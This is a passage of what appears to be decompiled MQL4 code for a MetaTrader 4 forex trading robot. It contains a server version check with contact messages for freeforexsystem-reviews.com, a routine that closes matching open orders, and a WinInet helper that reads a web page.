gs_224 + "Check internet connection and Windows Firewall / Anti-Virus settings\n" + gs_224 + "before restarting MetaTrader 4"; Print("err12"); gi_220 = FALSE; return; } if (StringSubstr(ls_0, 0, 1) == "<") { gs_320 = gs_320 + "\n" + gs_224 + "*** Server Communication Error ***\n" + gs_224 + "Please contact freeforexsystem-reviews.com\n" + gs_224 + "info@freeforexsystem-reviews.com"; Print("err13: ", ls_0); gi_220 = FALSE; return; } if (ls_0 != "2.1") { Comment(gs_232 + gs_224 + "*** Software Version Update Required ***\n" + gs_224 + "Please contact freeforexsystem-reviews.com\n" + gs_224 + "info@freeforexsystem-reviews.com"); gs_320 = gs_320 + "\n" + gs_224 + "*** Software Version Update Required ***\n" + gs_224 + "Please contact freeforexsystem-reviews.com\n" + gs_224 + "info@freeforexsystem-reviews.com"; Print("err14"); gi_220 = FALSE; } } int Close_All() { double l_price_8; int l_ord_total_0 = OrdersTotal(); for (int l_pos_4 = l_ord_total_0 - 1; l_pos_4 >= 0; l_pos_4--) { OrderSelect(l_pos_4, SELECT_BY_POS); if (OrderMagicNumber() > TimeCurrent() - 360000 && OrderMagicNumber() < TimeCurrent() + 360000) { if (OrderType() == OP_BUY) l_price_8 = MarketInfo(OrderSymbol(), MODE_BID); if (OrderType() == OP_SELL) l_price_8 = MarketInfo(OrderSymbol(), MODE_ASK); OrderClose(OrderTicket(), OrderLots(), l_price_8, 3, Red); } } return (0); } string CPrint(bool ai_0, string as_4, string as_12 = "") { if (ai_0) return (as_4); return (as_12); } int hSession(bool ai_0) { string ls_4; if (gi_328 == 0) { ls_4 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)"; gi_328 = InternetOpenA(ls_4, gi_336, "0", "0", 0); gi_332 = InternetOpenA(ls_4, gi_340, "0", "0", 0); } if (ai_0) return (gi_332); return (gi_328); } bool GrabWeb(string as_0, string &as_8) { int lia_24[] = {1}; string ls_28 = "x"; int li_16 = InternetOpenUrlA(hSession(0), as_0, "0", 0, -2080374528, 0); if (li_16 == 0) return (FALSE); int li_20 = InternetReadFile(li_16, ls_28, gi_348, lia_24); if (li_20 == 0) return (FALSE); int li_36 = lia_24[0]; for (as_8 = StringSubstr(ls_28, 0, lia_24[0]); lia_24[0] != 0; as_8 = as_8 + StringSubstr(ls_28, 0, lia_24[0])) { li_20 = InternetReadFile(li_16, ls_28, gi_348, lia_24); if (lia_24[0] == 0) break; li_36 += lia_24[0]; } li_20 = InternetCloseHandle(li_16); if (li_20 == 0) return (FALSE); return (TRUE); }